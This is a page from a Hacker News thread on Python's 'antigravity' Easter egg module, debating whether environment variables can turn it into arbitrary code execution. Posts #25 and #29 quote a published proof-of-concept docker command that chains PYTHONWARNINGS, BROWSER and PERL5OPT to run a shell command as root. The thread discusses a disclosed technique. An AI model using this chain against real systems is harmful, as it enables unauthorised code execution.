Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Antigravity.py (2020)

github.com

Post reply on HN
Print view View original

21–30 of 48 posts

Re: Antigravity.py (2020)

#22

Post by chias »

isp wrote: post #10

This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045

I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here.

Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when executed with the argument "https://xkcd.com/353/", grants you arbitrary code execution.

So, you have full control over the environment variables, and that's it. How do you turn effectively

    [binary] "https://xkcd.com/353/"
into arbitrary code execution, where [binary] is an executable already on the machine?

Re: Antigravity.py (2020)

#23

Post by ehsankia »

BiteCode_dev wrote: post #21
jp_sc wrote: post #16

Earlier quoted context omitted.

But not a texteditor. You can use this library for that: https://pypi.org/project/texteditor/ (Disclaimer: I’m the author)

Idle

You missed the point of what the library does. Similar to webbrowser (which isn't a full browser), all it does is open your default text editor.

Re: Antigravity.py (2020)

#25

Post by isp »

chias wrote: post #22
isp wrote: post #10

This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045

I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…

There is a proof of concept given, "Figure-4: arbitrary code execution achieved using multiple environment variables against Python 2 and Python 3":

    $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
    uid=0(root) gid=0(root) groups=0(root)
    Invalid -W option ignored: unknown warning category: 'antigravity.x'

    $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
    uid=0(root) gid=0(root) groups=0(root)
    Invalid -W option ignored: unknown warning category: 'antigravity.x'

Re: Antigravity.py (2020)

#26

Post by [deleted] »

chias wrote: post #22
isp wrote: post #10

This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045

I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…

[deleted]

Re: Antigravity.py (2020)

#27

Post by glofish »

reading the module, I have also learned about the Munroe geohashing:

https://en.wikipedia.org/wiki/Geohashing

and

https://xkcd.com/426/

official website:

https://geohashing.site/geohashing/Main_Page

oddly the geohash function in the antigravity module prints to the screen rather than returning the values ... seems odd to say the least

Re: Antigravity.py (2020)

#28

Post by thebeardisred »

isp wrote: post #10

This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045

Related to the idea "innocuous at first glance", that time when folks got cute with the man command:

https://git.savannah.nongnu.org/cgit/man-db.git/commit/src/m...

Turns out it was breaking a users automated tests - https://unix.stackexchange.com/questions/405783/why-does-man...

Re: Antigravity.py (2020)

#29

Post by ASalazarMX »

isp wrote: post #25
chias wrote: post #22

Earlier quoted context omitted.

I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…

There is a proof of concept given, "Figure-4: arbitrary code execution achieved using multiple environment variables against Python 2 and Python 3": $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null uid=0(root) gid=0(root) groups=0(root) Invalid -W option ignored: unknown warning category: 'antigravity.x' $ docker run…

TL;DR: 'import antigravity' is fine, but Python can be tricked with environment variables to use Perl as the web browser, which has arbitrary code execution through environment variables.

Re: Antigravity.py (2020)

#30

Post by marcinzm »

chias wrote: post #22
isp wrote: post #10

This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045

I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…

The next section of the link literally goes into how to achieve all of that using a call to perl.
Post reply on HN